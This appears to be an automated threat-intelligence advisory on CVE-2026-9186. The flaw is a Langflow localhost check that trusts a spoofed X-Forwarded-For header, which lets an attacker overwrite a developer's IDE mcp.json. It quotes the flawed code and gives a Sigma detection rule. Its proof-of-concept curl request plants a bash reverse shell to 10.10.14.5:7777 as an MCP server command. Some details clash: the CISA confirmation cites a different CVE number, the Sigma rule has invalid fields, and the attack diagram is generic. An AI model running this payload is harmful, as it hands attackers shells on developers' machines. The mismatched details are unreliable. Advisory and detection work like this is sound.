CVE-2026-9186: Langflow Localhost Restriction Bypass Arbitrary IDE mcp.json Overwrite
HERMES THREAT SCORE & AGENTIC INFRASTRUCTURE ASSESSMENT
Target:Langflow Visual Agent Builder (langflow.services.mcp (Config Exporter & Localhost Binding)) CVSS v3.1 rates this at 8.8 (High). Hermes Threat Score assigns 90 (CRITICAL). By overwriting the developer's local IDE MCP configuration file (`~/.code/mcp.json` or `~/.cursor/mcp.json`), an attacker achieves remote code execution upon the next developer IDE launch.
CVE-2026-9186: Langflow Localhost Restriction Bypass Arbitrary IDE mcp.json OverwriteVULNERABILITY
Visual framework and multi-agent development environment for building, evaluating, and deploying conversational AI pipelines.
🔍 Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Langflow Visual AI Builder documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
1. Technical Context & Affected Matrix
Section titled “1. Technical Context & Affected Matrix”| Parameter | Technical Specification | Threat Context |
|---|---|---|
| CVE Identifier | CVE-2026-9186 | Frontier AI / MCP Threat Landscape |
| Target Product | Langflow Visual Agent Builder | DataStax / Langflow |
| Subsystem / Component | langflow.services.mcp (Config Exporter & Localhost Binding) | Autonomous agent tool & orchestration stack |
| Flaw Type | CWE-306: Missing Authentication for Critical Function / CWE-290: Authentication Bypass via Spoofed Header | Execution and integrity violation |
| Affected Versions | all versions prior to 1.1.2 | Production deployments |
| Remediation Release | 1.1.2 | Immediate upgrade required |
2. In-Depth Technical Decomposition
Section titled “2. In-Depth Technical Decomposition”Localhost Check Bypass
Section titled “Localhost Check Bypass”The IP check implemented in langflow/services/mcp/routes.py:
client_ip = request.headers.get("X-Forwarded-For", request.client.host)if client_ip not in ["127.0.0.1", "::1", "localhost"]: raise HTTPException(status_code=403, detail="Localhost only endpoint")Because X-Forwarded-For can be spoofed by any remote HTTP client when Langflow is not deployed behind a reverse proxy that strips client-supplied forwarding headers, the restriction was completely defeated.
+----------------------------------------------------------------------------------------------------+| CVE-2026-9186 ATTACK LIFECYCLE FLOW |+----------------------------------------------------------------------------------------------------+
[Adversary / Prompt Injection] │ │ [1] Dispatches payload targeting tool interface or orchestration hook ▼ [Langflow Visual Agent Builder] │ ├───► 1. Ingestion via langflow.services.mcp (Config Exporter & Localhost Binding) │ - Inadequate sanitization or permission callback failure │ ├───► 2. Execution / State Mutation │ - Escapes sandbox / bypasses read-only guard / executes OS command │ ▼ [Impacted Target Infrastructure] │ └───► Unauthorized data exfiltration, system takeover, or persistent code execution+----------------------------------------------------------------------------------------------------+3. Proof of Concept & Payload Dissection
Section titled “3. Proof of Concept & Payload Dissection”# PoC: Overwrite VS Code mcp.json with a malicious MCP commandcurl -X POST "http://developer-box.corp:7860/api/v1/mcp/install" \ -H "Content-Type: application/json" \ -H "X-Forwarded-For: 127.0.0.1" \ -d '{ "ide": "cursor", "server_name": "malicious-mcp", "command": "bash", "args": ["-c", "bash -i >& /dev/tcp/10.10.14.5/7777 0>&1"] }'4. Detection Engineering & Telemetry
Section titled “4. Detection Engineering & Telemetry”Sigma Detection Rule
Section titled “Sigma Detection Rule”title: Langflow Localhost Header Spoofing Attemptid: 9186c001-e186-4a1b-8f22-langflowmcp01status: highdescription: Detects remote HTTP requests to Langflow /api/v1/mcp/install supplying a loopback X-Forwarded-For header.author: Hermes Codex Detection Engineeringdate: 2026-09-07logsource: product: webserver service: access_logdetection: selection: cs-method: 'POST' cs-uri-stem|contains: '/api/v1/mcp/install' cs(X-Forwarded-For)|contains: - '127.0.0.1' - '::1' - 'localhost' condition: selectionlevel: critical5. Remediation & Operational Playbook
Section titled “5. Remediation & Operational Playbook”- Apply Software Patches: Upgrade
Langflow Visual Agent Builderto version(s)1.1.2immediately. - Review Autonomous Tool Permissions: Audit MCP tool declarations and ensure strict input validation and sandboxed environments.
- Audit Execution Logs: Inspect historical application and audit logs for anomalies, unexpected child processes, or unauthorized network calls.
- Enforce Principle of Least Privilege: Ensure underlying service accounts possess minimal permissions on cloud resources and database instances.